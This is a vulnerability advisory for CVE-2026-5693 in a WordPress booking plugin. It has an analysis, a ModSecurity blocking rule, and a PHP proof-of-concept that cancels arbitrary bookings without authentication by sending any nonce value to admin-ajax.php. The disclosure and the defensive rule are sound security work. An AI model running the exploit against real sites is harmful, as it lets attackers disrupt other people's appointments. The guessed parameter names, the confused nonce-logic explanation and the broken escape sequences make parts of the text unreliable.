Atomic Edge analysis of CVE-2026-5693 (metadata-based): The Smart Appointment & Booking plugin for WordPress (versions <= 1.0.8) contains a missing authorization vulnerability in the saab_cancel_booking() function. This allows unauthenticated attackers to cancel arbitrary bookings. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating low integrity impact but no confidentiality or availability impact.
The root cause, inferred from the CWE-862 classification and vulnerability description, is a missing capability check combined with a flawed nonce validation logic. The saab_cancel_booking() function likely handles AJAX requests. The description states the nonce check uses && (AND) instead of || (OR), meaning if any value is provided for the security parameter, the entire check returns true. This bypasses authorization. No code diff is available, so this is an inference based on the provided metadata.
To exploit this vulnerability, an attacker sends an HTTP POST request to the WordPress AJAX handler at /wp-admin/admin-ajax.php. The request must include the action parameter set to the plugin's AJAX hook (likely 'saab_cancel_booking' or 'smart_appointment_booking_cancel_booking'), a booking ID parameter (likely 'booking_id' or 'id'), and a security parameter (likely '_wpnonce' or 'security') containing any arbitrary value. The attacker can iterate through predictable booking IDs to cancel multiple bookings. No authentication is required.
The remediation for this vulnerability involves two code fixes in the saab_cancel_booking() function. First, implement a proper capability check, such as current_user_can('manage_options') or a custom capability, to ensure only authorized users can cancel bookings. Second, correct the nonce verification logic by replacing the && operator with || to ensure the nonce is properly validated. Since no patched version is available, users should consider disabling the plugin or applying a virtual patch.
If exploited, an attacker can cancel any booking without authentication. This disrupts appointment scheduling, potentially causing financial loss, customer dissatisfaction, and administrative overhead. The integrity impact is limited to data modification (booking cancellation) with no data exposure or privilege escalation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5693 (metadata-based)
# Blocks unauthenticated booking cancellation via AJAX by blocking requests missing proper nonce or capability.
# The vulnerability exists in saab_cancel_booking() which uses && instead of || for nonce check.
# Rule blocks requests to admin-ajax.php with action 'saab_cancel_booking' that supply any value for 'security'.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265693,phase:2,deny,status:403,chain,msg:'CVE-2026-5693 Smart Appointment Booking cancellation exploit',severity:'CRITICAL',tag:'CVE-2026-5693'"
SecRule ARGS_POST:action "@streq saab_cancel_booking"
"chain,t:none"
SecRule ARGS_POST:security "@rx ^.{1,}$"
"chain,t:none"
SecRule ARGS_POST:booking_id "@rx ^[0-9]+$"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5693 - Smart Appointment & Booking <= 1.0.8 - Missing Authorization to Unauthenticated Arbitrary Booking Cancellation
// This PoC demonstrates unauthenticated cancellation of a booking by exploiting a nonce bypass.
// Assumptions:
// - The vulnerable AJAX action is 'saab_cancel_booking'
// - The booking ID parameter is 'booking_id'
// - The nonce parameter is 'security' (or '_wpnonce')
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$booking_id = 1; // Predictable booking ID to cancel
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = [
'action' => 'saab_cancel_booking',
'booking_id' => $booking_id,
'security' => 'any_arbitrary_value' // Nonce bypass due to && instead of ||
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing; disable in production if using HTTPS
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
if ($http_code == 200 && strpos($response, 'success') !== false) {
echo "[+] Booking $booking_id cancelled successfully.n";
} else {
echo "[-] Failed to cancel booking. Check target URL or booking ID.n";
}